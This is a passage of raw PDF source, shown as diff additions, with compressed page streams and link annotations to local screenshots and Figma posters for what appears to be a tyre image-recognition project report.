+&k@i$FkVf\rHPqzt!J6r.KYG<FT5sxpH47 ;"ĖЍ[tRٰv5(5䢋b N(dd> !&=u%*טDx[Yz~|P>˝sܝ:&< A7=/ +endstream +endobj +1140 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1139 0 R +/Resources 4 0 R +/Annots [ 1141 0 R 1142 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1141 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 455.447005 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TestsCouleurs.png) +>> +>> +endobj +1142 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 455.447005 297.637795 440.432605 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TestsCouleurs.png) +>> +>> +endobj +1143 0 obj +<< +/Filter /FlateDecode +/Length 1816 +>> +stream +xZ͎6)e8C=m!(z@"HeKYz\#ΈW%Boi|~ܰ(ΈFlV(("mYf-O_7mYdKdr}pimߧwW;Rz@js jtP>qQ!eFT|v,NxHCC՟h{G?z}8Ã{vQWG+< y9zhZ4ph{l)ko0?woP$DfD^ 1v|1WOxXZ0[o"B@|K /su}gvø2ƙ~(t)ceM&Wrʹt)Ӹ4ֶ7ؕk þ!_-vhtgݙoyS~̈́$Z7#&#J@2@UtoƱ1ZMUTsveMa4N &$&YDsnhSyrFY1Ȩ>'/7)0Dْxz-EgpPkrOkӃ܍ѴjDD"duqx|vga/k=ε9ZW6a-_kڏkiLŹ;nDQf3\tVKO!~h(ñIo# DSnɑâ/r{/ Z"tkŴR῔B`#FrffD2:!`5Z;_^SAbkcȀ.C˄5Wo%-1IQ -͠mTЯHR`Mu=E&'IMˆqps^pZ]H&6)ΞNF>[}#b@$"\O(b]xݲQ W@ +x, qlM9vz,!pydb;ԿK|҂Ʉzs֢yYk +v+fk :xʮ7t@WmP1:ߟNw5G4y mfNzC^Skdl>H gJG'lU!s6RRn B RuW!MmU4jčWv˂Iڇg;(w(ّwK(7͙Sޫ*&Kx?@ +5G 23/޳Zj;kۻ>)e +TYٔ_®m ևw]bGdt.:me@: W)!~!!wQ}^WK2HC_ iy;!1H?; +xyϏ^~vp |uE=jcR1[goܶƤk1XtȖ?򡹽FO?g7Ƥ?;#yt%A6,B=S/QzeV>1G9p5r1t|á˭T}ܙ0 +endstream +endobj +1144 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1143 0 R +/Resources 4 0 R +/Annots [ 1145 0 R 1146 0 R 1147 0 R 1148 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1145 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 685.371162 39.386457 670.356762 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyresImages.png) +>> +>> +endobj +1146 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 685.371162 555.889134 519.268597 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyresImages.png) +>> +>> +endobj +1147 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 519.268597 297.637795 504.254197 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyresImages.png) +>> +>> +endobj +1148 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 205.842997 39.386457 190.828597 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreColors.png) +>> +>> +endobj +1149 0 obj +<< +/Filter /FlateDecode +/Length 1348 +>> +stream +xX͎6 SC`(zxAiR(Q=X6E>0I'!D̴||HOɷ?E{UM8y@*h-KZ^J]In!O]Vh۪}mZ2lj̿ dCa:'vw?@WHGں٢muT +tMVpDRG&TL7_~$Tm'tTX+dvRn*41v4,5vLKvgހs #jպ) R6^`ʓoF&z-scͲ~.2`rn*[l1Lwu6@y.r7ăl{9tBbW& Q1,lSalח͙lƑl .%9^{c3%P\Nr;(~-~GdȠia3 Pp h +1uͺmNٴ2  -tٱe-PH,PnnDpn#Uc +ʸ{sdhe0s}:]Dc mq'0΍AĨX3;CiDȹ$OOkbxZu&ϗƧ=佱TfA%(?> $=Y 0AX5;)dk,4X kgX/;tsy$ہUς@Fx"GXuDc)KϮzJ\cNP=t"p%F&0ˁ/'wkOG(|at7QN,"QC$RXMU)ݚ~"2nYKȓ +C^(e_n%fhmhTK)uG^Cf +X9<̾8tDa: sLw' plcΐ:Q ғ7PN$ hŶd)1He!lX1h1ׄ@d!@5M4C:oSH_iM;MJ`w,?M +endstream +endobj +1150 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1149 0 R +/Resources 4 0 R +/Annots [ 1151 0 R 1152 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1151 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 354.386457 456.023622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreColors.png) +>> +>> +endobj +1152 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 456.023622 297.637795 441.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreColors.png) +>> +>> +endobj +1153 0 obj +<< +/Filter /FlateDecode +/Length 1813 +>> +stream +xYK7W̺Љ\ -mI ܒ8%J=4\X' L}HZixtbFˆG~㾟NB"jrƀ30.\3J!>?=sfL=p>#XeЏ>8X`fӇNWѾUh')DzJh0Yj;'&#lmSJŸ[_86d3nP)]зY +L2%g\I,Lu/ZV|-jW"GRZm/ʗML?{;f,'ݏq[2ª Vn})goy^0|xr,!.<ɭca80e3Ooe}cFoUlvR8=PvVb[@ M NR7{{4>~DV?CFf+$B +Aym*Z+Zخ\RעdJmDpR쓍C愾 y+2Wo;%ӓډ8%C]K6Krlej9@43v,wEchLJ]C_Dh,}" i B%{"MHB]5k--;сf03X)-ihm8tߎƭlʽ?5kǹ \(N\9&I>Tcj;#P19YؾIHw3js2clQԀtb*z`˧3:΅XɔV~Ae4Fc m#OuP9p1k&gJa2@ȝQDP;Kq rᖔuɸN1UeW qWE[X$N+9Jf-,z̸ bCL'%$ Ƶhr`;x%kj+mk[U0ȻJ*Jm4kwF-rҁ4g5.jFA0gc'KdVѫ<10-NsnWdmgF zd|<0Vpzju@rbG3աa(J],t8;?1Sʷ }IgCBv:wdu9Щle!vCr[CɆw_ȜNIY1ӑȈMPK(;$z7MFc;;rz!(h͙P$CM&DŽ{7Ǣ% +7PD/+An>Q㤓^lΈ@';HԂܿ]lB9B`vHeS\ϔr-Y /g 'E7՚mM%'2 +k϶bv*7Bj9K/Qٌ /!SVT&dn̓X##h!a:@!JR +;ekLٺ*9,(#lv%_P} Y kKo/J@S9^s'ռ>)~? +endstream +endobj +1154 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1153 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1155 0 obj +<< +/Filter /FlateDecode +/Length 1935 +>> +stream +xZK6 ϯB%`%-P"JɢLn3Y#QI+)Bޙi|r-'hNr^hwS4„ C BJP/j-KzG-<~R)aetrJ߯.f)`eŅɐǀ)pOI8+& +o?O2*Oe +`E%Û\m̂rƯ}Xse0CCG$ RmI'U>. s*tl|spݾDS_Ֆ~tii@ 8$w[aWlJU)z9¶^եn-|;+g +-Fx(w02i5 +tc'vF-|Co9=qv 46eka!LM2Lwg쑭;J{V>Sn׮Ej;1owޮ/E0K{uP&]#l**ӒEQdK#{e4+rA'=y;$q¦=Z*P0~,)+:hޞdvjW_0ņmc7;,xYRvxw xWDFuƐ)M+U-#à&f4^D(ƌPt^n'a+A; n^Ȓ릚HyiWhf#GŬgcMѡMEx;bEn ./%QJ" b,>#ڵHRjk"`\#WA,tLǪ(w$.Zt !$IH0w}|8B1t!Ȟ)=xLv +endstream +endobj +1156 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1155 0 R +/Resources 4 0 R +/Annots [ 1157 0 R 1158 0 R 1159 0 R 1160 0 R 1161 0 R 1162 0 R 1163 0 R 1164 0 R 1165 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1157 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 652.785222 39.386457 637.770822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreWithBackground.png) +>> +>> +endobj +1158 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 652.785222 55.886457 639.285222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreWithBackground.png) +>> +>> +endobj +1159 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 639.285222 297.637795 624.270822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreWithBackground.png) +>> +>> +endobj +1160 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 556.706022 39.386457 541.691622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreWithoutBackground.png) +>> +>> +endobj +1161 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 556.706022 55.886457 543.206022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreWithoutBackground.png) +>> +>> +endobj +1162 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 543.206022 297.637795 528.191622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreWithoutBackground.png) +>> +>> +endobj +1163 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 336.758022 39.386457 321.743622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Recognised11.png) +>> +>> +endobj +1164 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 336.758022 201.386457 198.758022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Recognised11.png) +>> +>> +endobj +1165 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 198.758022 297.637795 183.743622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Recognised11.png) +>> +>> +endobj +1166 0 obj +<< +/Filter /FlateDecode +/Length 1405 +>> +stream +xXn6Wå> &pAj?Rb-tC"U^-$~?(@w0-^NRx+gt?^N n UJImpa駯ϧNzR'VElqVBN_;Q٪}mZ2lT!vSY_5VeVrA8_..fx'fycWf5 7dTEZ,&ga'+3(Զޡ 8^!9<:C]tvb/SL#u\_=GiR +ui* +E`;tSP>Jwذ/ r-6֥B@8ׄP]k b'֔Qb(n4X>mڧ>Ћ;ꠁvV`bиݾr8 ׭FӱC#:TGV影fE7sL^u%c£ՅoRJ)uJ w,o3_TXOx|#nu6؂ }{ʺ~_)*:5 +\TE}M&FQSQ-1չi8;4ΧC䤤" +NO%K)*Y] %.ZL 5)1t` r.CR9 OG- +endstream +endobj +1167 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1166 0 R +/Resources 4 0 R +/Annots [ 1168 0 R 1169 0 R 1170 0 R 1171 0 R 1172 0 R 1173 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1168 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 39.386457 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/RecognisedH.png) +>> +>> +endobj +1169 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 201.386457 633.023622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/RecognisedH.png) +>> +>> +endobj +1170 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 633.023622 297.637795 618.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/RecognisedH.png) +>> +>> +endobj +1171 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 574.842822 39.386457 559.828422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/RecognisedM.png) +>> +>> +endobj +1172 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 574.842822 201.386457 436.842822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/RecognisedM.png) +>> +>> +endobj +1173 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 436.842822 297.637795 421.828422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/RecognisedM.png) +>> +>> +endobj +1174 0 obj +<< +/Filter /FlateDecode +/Length 3186 +>> +stream +x\KWhadIrH0yAz@)E.Y3mb"G?ׂyہ3g8K#A9悑f{ τREJqw.(8w7q8Ɵ_>pFRg! A?~>"5L k}?QDz2rRkM\{xYRgxoDz?\x]5i:1esxM|SsP9BEr&yrP:8G։XǬ2$M 5'Fxb5 D0Se02 ,_:i-,R+l]4n[ςN{+7LSOdo%3RQfţU{+79v%#bKY|I/Y;:F!jpov+1Qbur%'ܓle`l~ +fCN$ݨ$IG9_TrsRP1ٖ\ZKO7Ӝ9ރ,|MQޏô抟;16[<7Ņ<79ΏF`$oQPFfNVIpd=vA߇6&e m"]O1lW`Jڤ6O}{ڶsyf0c^XצE'1rݘ)p,ab8g 3kŖ MXwX(3*Λ%`Oy/#ByV||z͂ɷ+'߬|zz͒ɷ',cn#m +՘ǯST/9f hϠuW3<36MŶ闯oF"\䷖IVҖfta.mL@6&2/|7!;@`0r*|;]+=  y :/ӧ??ଔzpYHFL: (HS\1@M8*9g\IQ2<UsB MUPZ{T8@ Jm;@f"̦6hXFo0, 9ճl's Y +1ߎfn +d ʼx乿RY0G!V-]Yt-"wv%!=t]O=z'2f{S(͸KRiCr%0-jC}x]B>QS9AܐyTJENsmjCl9/5 +V` .@j1Y޾P-jڀ0e9g/E+4WW(Dtw-e#0:-UB[T!hUzr& +6 T 6kmOw5 Ƈ:mR)#|Lnݶ(bLHqŞF4*? eم4t2!{ ƚ(ee|=^QLTYp.܆(GwhVQ ~iXкm*Ŭ) w8Wu3V{"q yca"KO[\՝zBhim<)JH}ԝ JV[B 4z fxڇ :m@ tm$a'%)BI\^ +R86 L!ˈ@ +]2"4GץI w @O;Q]i;N*C^N {DvnAq><:O-qDJ1 *.#_a!-3bl }kB(֒oKNH`\o"A?v|xסd !j jߒ +%w*|~&P$PR-WWl ej][Cx֊xH/'>J?ϖ{ȋ*^HۑTw-x#-g5_רׯQ-{['.fs=9cFdhH:/pTm<*-kQD|x0цA}nw%cj5W61<f-˟s&ecp(ٹQO/%ĎĀ*8}N-@!b R>DsHs e=Yj,`FxNᦄFo_TT;]4k41ڎ-%nTSypegΏrlPqUD/stH?YS +h|wIH8ެ⛠hbǴ3`z~\-0MX6Q~zZ rXZc;T'bY^ۆϘ?W: ?MYP@G"v0>>!dà/{>bҏgdѧ{wBL> +endobj +1176 0 obj +<< +/Filter /FlateDecode +/Length 3844 +>> +stream +x]K?C9$X'fz=b)uHgٞH*VcW%g_ׂy˗'Μo8"e?r#=ʹ‡ FJqwӿO=]Pq; !%3"Xoݳ`N h5} .I̊X#NrϟǟYDy2Υ\rnр|B7?>OLj Tuz~/1n:y<_>FMrtjؗ>}tkZGy$yc-2>^fcſIhac~a=x8p||y/9ne{}Y};>Ѝ>uOTߠO7']T ~ꔨqکSPulNCJSbh;-NUְމ:`=;Qui'J*;)y',*gl VݤU%UĞvU4y@RVmӍVU55lUDMU#jU޽aZq*BmfhPiBn 3Z+DGsRK5fO˗kz|΂bOٗ-ǽ.j4Aq=ڍWLm3^G8v$x`ej8}P3޷ 5Ԑ8ܸ ۆTy˚&qDv.wX `ڵysr~FCQNg$L/{j[G}NEW%GܦC^K0LLq/J7rC,Y;d;*40~ +T F3ȣ/ĤGӯV+RUlcbii#Q-rҬ'9\av@Y ZL 7Ǖd5FFt$'Ê\6cLs[iӖaB Y,uzm8K6"1kͬBj6M,l;Z 2Ԩ=Ԩak=䍮hl f˂܊RXʶ6#x3QP+ԨSjԌ6Op7L*oYwLj2xxV 3TZ"u8V{Yw8m-&yȤOqlڵ,Hr{O\NۻfS< ){H:2/qQ >Q_ɛ>/MEG> +RA|UbܓJ1Q~:Ow''MnGBc=K}Q;JZ= 2VYc_+dS/Hb)3Zqꋚqꋚ8ܸ H"0dU;Տ쌥b< Wq'xQtk(VR굒(T@Zˮrivcg-6XN%\*]@7x "YmCL w_ҙ4h}5<%q锚>O9䢛i~-Cݨ/LyVu:M S35[0U̼4uYtk!&Dj +r*0 7?5,v{6E4x {ɧ0͟iNLi2{.Q q({v){4eh4ED&o ]HHY+6TAjDd]kF^{ +AiaC)RX^{>!T}{9"{sDXws#)޺Ca6hX]ǟ9}S_sF^Xow>>mx;(sKG]S`\bUF` J!e_SVLa{rCt뗸5V\1 +endstream +endobj +1177 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1176 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1178 0 obj +<< +/Filter /FlateDecode +/Length 3213 +>> +stream +x\I#9@"FnB,@ABSPI"??*~fsu~;}?jFC~v^ k^-9rp΄A)d˗?O9e:{\EsoWsx _nкT~4kBSE|Rę[pNo?OgϷӿ1^_ӓHd^gGn,Ogmg|<^yԅ>Qxæ{;k3iPt=osyM*,7)H>▞@ϟ? (HDŠ( M j`$&f+cE _.*JvʔkdE;DE$$]} EFa~Usʁ9)"+ s.:Mpn+Q H%-2m8VYNqc=4F/XL*,5SI\**1R+f$ Qm/%ZM<١!)*b@#|kE(&s; +xmђ #F՛U9gu'2/*}>|H}@ +KEqǪ O@I#h4foС| gMC֋W^*UkQyZD 7$W#N{Q͔i[Q %lGA8?x㶀LS6$= 3W%A,%#)VAsRDb YiHx zWɍFѮd3% SzG#k+s & ]O^ì*KAR=)a`"U}RÆֽM Ӕj."g}4,d߈U=}G h]Q~'0f߷ +-A_ 2z5e\y'1݃5&T7O\_(=YkGYJIFֳ¸fP]ᨨ7M0F+lc5Zʁ͂qIF@-1HD4exUJv&vM\#E=SEFt|Kiۉ`-g/X-=mNޣ.1+'g9Xg0Kڸ(tM}6@S9{n5@ +bרDzkwus% +pی,I;#Kw/Ez;Y{1;5r"jM_f)( +ͱADx`?ע"- +IvХ2[5=' ZLn>D3#G)w6XY´RĜ .5ye1En#P1ЛG+Zc0*v13ki-d} D=PzV`EߌA-O] ]Qd ["T_1Ok"% 1Yv =Y6`buSJ"ݥQijZlu\to}aey 뢣lSЛzYQBwe<ȣI #RZeA !\h:+(5PPZ܈~S2Y˽iBdX&J&SeS0ɍI2+=se."X&w: +Ӥ0 +5߻˒ICIFݸm%TJ9iC)B9F=Xw;OqJ+̕hI)#(ʃm swȶ*1vL.6Lߵ-9c]RHS69u찇NiQ^~uRY/- e'{ +fQ(h7\~٩ݻxYNUX }jHf}n9O>0f懩.ZդU4G؉ah+V/6Ztˋ刟Ңa55=S4g׀^W&n6e͇ y𖔧h ЇK}AhRjTj^&8A1]+y 2ɻMp`fcr'%MWg7`g6<@d(Xfpy;瓆ն o廮] EIibw(e?|.gi󫱋|N,̊p~JO\דUlv6]: % Wd: nZqX1z` +ד m h*f] |wӔ;b}B!(ޑ#ȱb1ʏҡ|) lPN66X|(at]s)G>c T7UP]4.o/ U>UB"H .x>%$ӎ{E^]aLQB-vc[HT}ƣbH[>ܣAYqj䠵Y\osU|=oCo7c{4"A~{μcPQף׍)#z`&!C)B+Nvq@wt8C>,+&yk~رxKvlMFrXJ{~Y^r@}zshհODqᗋ\hnyW8[\8;1p<vc}3LhyTin.u;@bOU-֞A~?1yEd^k0rXlL9&2>rQVwE1i{Ϟ?~Jw*9fƆ,]gά[l!ƣء:"1+}\ ?׶+*]svՁLC',qݐr +endstream +endobj +1179 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1178 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1180 0 obj +<< +/Filter /FlateDecode +/Length 2108 +>> +stream +xZɎ7+/`  AcvfdKぬ"k}řǿDkę3<+7sHgA3gBpJ1ӿ{s;BHɌ֛BOwk}^_rkyYKk.쓾ozy˺6 ~=!y}'OF.r^NOVnVIlln̛o<"0KK'&H񴦾3  ƻsf,`_W0ļuy߲>ہ9[˖r.bNuX˂]lQnXc ͝i3]3wCȡv:rx6)(1 rq* +A<A6KziL%mժg( +!5 cj|9 E$E7E]^kA~G*eMNq}eX@vTQlԣ,^:SL,DSRTCMC3F08 š/rR!; }P456 zl qM.9. 9;g0W +\EEg(jndDH2bֲUZt{XmaHKw瑠bk1.,5f<%|{-C4Lz i `]4n%N w[#\#r5ABq$`i0+lB̶_kaC}d>`EaCpZ<4\Dnl +hh|#ᰂ%1,DP (. VBĵ7~iv+U@6 s'DJPlIXD]Dd\ [ yjHN>Ԙ-DF* _` +_`G27uyް :0u ^*0:z/^7G500@i&W`MH9'HG 6|w| ҡRFvǀ gfXC2(U0 oo@V&84L("6"F5,\֣O )Pʴ@x}v}ww45i} (LxU@{exmeo8A7Uut`p+#p Da?h 8OMr9ʩĊ}/|e/q!@>ҫQ+h` #>H;;; S C4Dj&:Pw)jfí7-ts}t٫TaC'罥i ߥ\ URݬ4J׵u-9"AF!y'l~s +DdQC!q\tiߊ(F?l#^3|=+5[px-3~CPx8s/|5~g-y*џt]}I7n]B^|ˀo~|{-oҽuo9nƽw/Ƹhq6igbfi}q.L{-ӫPRY >;ς6r +l窠}Xe&;f¦C@ *tb0!= fB+iT0dO. +} +endstream +endobj +1181 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1180 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1182 0 obj +<< +/Filter /FlateDecode +/Length 1941 +>> +stream +xZn+7 +J7dQ]HEsU *iD#&pb{ yCR3,72Z.gI,ΈGt_I:{zKNEJRJ wSZλ7iUʟ}.Ҝ;pY¬x& :Eor2fC3EwTT ĭ%J_ju[_뙵 *yR Q !@x_P핁.EotT@yu^3s`*Bܐ ]},j7q ԺkH+`.:#lL[@'@% jU nMyoj\cidsP<V,(Hч`C +*tCFɥTI%l,1MȥX" 0BW +2f̏dӨ\@jcɥ-ۏy譼^#;ͽT@œ_ޜ +[3* +< Q톔AFǐPz.]S=Kfd|ZqV*eBɁN!7PZ: +Җ>@P&,z߇aGLWDW Q8q ]B% z~k:~ȣu0VT""mcLI NWR.Vv嬗X(0APN\GH6l#V>fI-C.Y^'׬.arHNsUPaj$G~yՋĊr~=/a^9ueFJR=ybU=;$ +9t ]׽!K3pQ8:%b8vv97y]Âw^6hRD3 +0<9#1BҋyX4Pv<+I!m 4ccAg%%( Z[Mh*|7{GE7w7sOz=&V|2:$ئ7s Lwa$3Guzك湁]@Jsm`PP +Flc/죈Nۦ/)zF,F`voќdmg#L ?M=U,Q9H:C DR*Rw8K|sm'M? +*@2ZM)6ŪӓQIr$}}~j5 V;g{BOU4;> +endstream +endobj +1183 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1182 0 R +/Resources 4 0 R +/Annots [ 1184 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1184 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 307.454022 39.386457 292.439622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV1.png) +>> +>> +endobj +1185 0 obj +<< +/Filter /FlateDecode +/Length 371 +>> +stream +xMO053 =^*z`!zh_kg7ddy' 1Yd*5 @Ia'7>M-DyTL`j)iW%)FScknO?aDKk=UR1KKR-ɋ1)l ŬO{8|c5~s͙qfFP =6~=b6Bgb:#Uܔ*o9NeTƈ.ܞ~>\q~pYkZ6t>Mo,nMdN$}3(- v< +P%)ngT#l73020J壞Q=_nNt +endstream +endobj +1186 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1185 0 R +/Resources 4 0 R +/Annots [ 1187 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1187 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.569523 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV1.png) +>> +>> +endobj +1188 0 obj +<< +/Filter /FlateDecode +/Length 612 +>> +stream +xTɎ1 W؉8RHp$ġzN4K8[%5\U=}#V$E&s~Z1>b3)ڞmLE6,$Q,"8@C4/?˯%%Dl<.wG`/W TCb(6`Յ?,؉VDA8"sxZ|۽e.}a Kё**N(֪{ut7(F^m_y`} -wñ0i^Ku?wj__ֳTP4X};nv8Ch~u`YeM9wSr6: 7{6b+v& „zh<34Ns&=6qՅ*&LܞF6žC|]*xdnQh毙Jtݸkä|'tgAz6KVJl,*`0s`bk@8sH֗m'5=M?sLZfxr~ +T +su"XA,$g@Zq7>RR.ڔz}q;p? d +endstream +endobj +1189 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1188 0 R +/Resources 4 0 R +/Annots [ 1190 0 R 1191 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1190 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV1.png) +>> +>> +endobj +1191 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 649.031622 39.386457 634.017222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV2.png) +>> +>> +endobj +1192 0 obj +<< +/Filter /FlateDecode +/Length 366 +>> +stream +xN0 yHS8 .HE !lt@/t :MӸI2e~N=[85,Q"d)SݺWWYS`1JR v7{~֖hLe|KJ"xL)hV9$ņV$1Lggql˂C!"EBAl,`UȏŴ~j!cLIB6K\^]-Ԇ~d+SK;Eٜ{ZlM݃ e"T1}:!P +# q_~%PR?[\yS@9Ѳz0RJ=c5 X}醰 +endstream +endobj +1193 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1192 0 R +/Resources 4 0 R +/Annots [ 1194 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1194 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.569523 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV2.png) +>> +>> +endobj +1195 0 obj +<< +/Filter /FlateDecode +/Length 3106 +>> +stream +x[Io?0t $ rh<@Y|Վ2euW-E)/Z%bLI$}ݛOd +TJIm1Ycd8z?|HF)C gN%]^O?\{z#B)x(k-h? bIY(/?*YOo}Oa / ڒ&)i`̓6>u$;п$ʯݰwLR +7o̴36_ҏ,<]D̄LZ(ike8-~ |YW?Wu=ӑӚYy]^3|{R2"Z\Ѣr^”~xQh$+j2bbML* R=(R (35&Km,̂}ȯ~쮼WxLWyqd +n%ަ!5Zl=彜y\9ԅm#:2bq6"g|ۋ?2 hɕ05T`obN3ǁm9n;^t$%r=::on +KY & J3*i0ָ.zjuvCo쌑8]9r\pŠ5X&E:Ө|Lt7gOclYX-0;s/譍[:MS(C&;! H#Zp0`yCNנ# F1 +-lFts`l][ff 9ˠWBZYvKZ|Oqtr]ɵm4OF X4TqX}SҼAW @?&ǵW\;& u[D ]tq+r`؍C[s`Q;0E;; 1!J U8g$ J70pe +DZ@wqt,kZ^u[6 znP `&2w7ܚ3fB%-\s($iElZDھ~et +_Q!ׯE@Z$my2^w' n;WrKF MSv,E-h$pՇ.jUI7U: +QP#rǀ 0 1jk=\~$L,:i)wи*+?a0Mol>+y{{J4BpH9^K ot2 N2ol_'Z0r+$=7Oa谾p"x]g-5ȵ%Q ϰ(.iwAŚǛNip,b[^6 